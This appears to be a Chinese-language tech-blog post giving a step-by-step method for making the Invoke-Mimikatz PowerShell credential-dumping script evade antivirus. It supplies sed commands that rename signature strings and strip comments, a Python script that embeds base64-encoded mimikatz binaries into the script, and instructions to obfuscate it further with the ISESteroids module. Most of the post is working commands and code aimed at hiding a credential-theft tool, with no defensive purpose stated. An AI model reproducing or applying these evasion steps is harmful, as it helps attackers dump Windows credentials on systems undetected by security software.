编程开源技术交流,分享技术与知识

网站首页 > 开源技术 正文

mimikatz混淆免杀(mimikatz 免杀)

wxchong 2024-07-02 03:38:52 开源技术 29 ℃ 0 评论

测试使用的mimikatz文件地址如下:


https://github.com/BC-SECURITY/Empire/blob/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1


首先,关于powershell脚本来说有很多现成的混淆工具(主流免杀方式就是混淆),比如chameleon、Invoke-Stealth、Chimera等等,但此类工具在混淆mimikatz时,或多或少会出现部分问题。于是我们这里手工对其进行免杀操作。


先对mimikatz的ps脚本执行基础的字符混淆


sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1


sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1


sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1


sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1


sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' Invoke-Mimikatz.ps1


sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions \$Win32Functions #\-/g" Invoke-Mimikatz.ps1



弄完后一些基础的东西就算是混淆完成了,如果你想更新mimikatz,可以使用下面的py脚本进行更新


import fileinput
import base64






with open("./mimikatz_trunk/Win32/mimikatz.exe", "rb") as f:
    win32 = base64.b64encode(f.read()).decode()


with open("./mimikatz_trunk/x64/mimikatz.exe", "rb") as f:
    x64 = base64.b64encode(f.read()).decode()




for line in fileinput.FileInput("./Invoke-Mimikatz.ps1", inplace=1):


  line = line.rstrip('\r\n')
  if "$PEBytes64 = " in line:
    print("$PEBytes64 = '" + x64 + "'")
  elif "$PEBytes32 = " in line:
    print("$PEBytes32 = '" + win32 + "'")
  else:
    print(line)


此时我们的mimikatz并不能绕过杀软,我们需要利用powershell ise自带的功能来进行后续操作


先来安装该模块,命令如下:


Install-Module -Name "ISESteroids" -Scope CurrentUser -Repository PSGallery -Force


安装好以后在ise输入


 Start-Steroids


开启该模块



然后在工具中选择混淆代码



混淆即可,此时所有操作已经完成。


Tags:

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表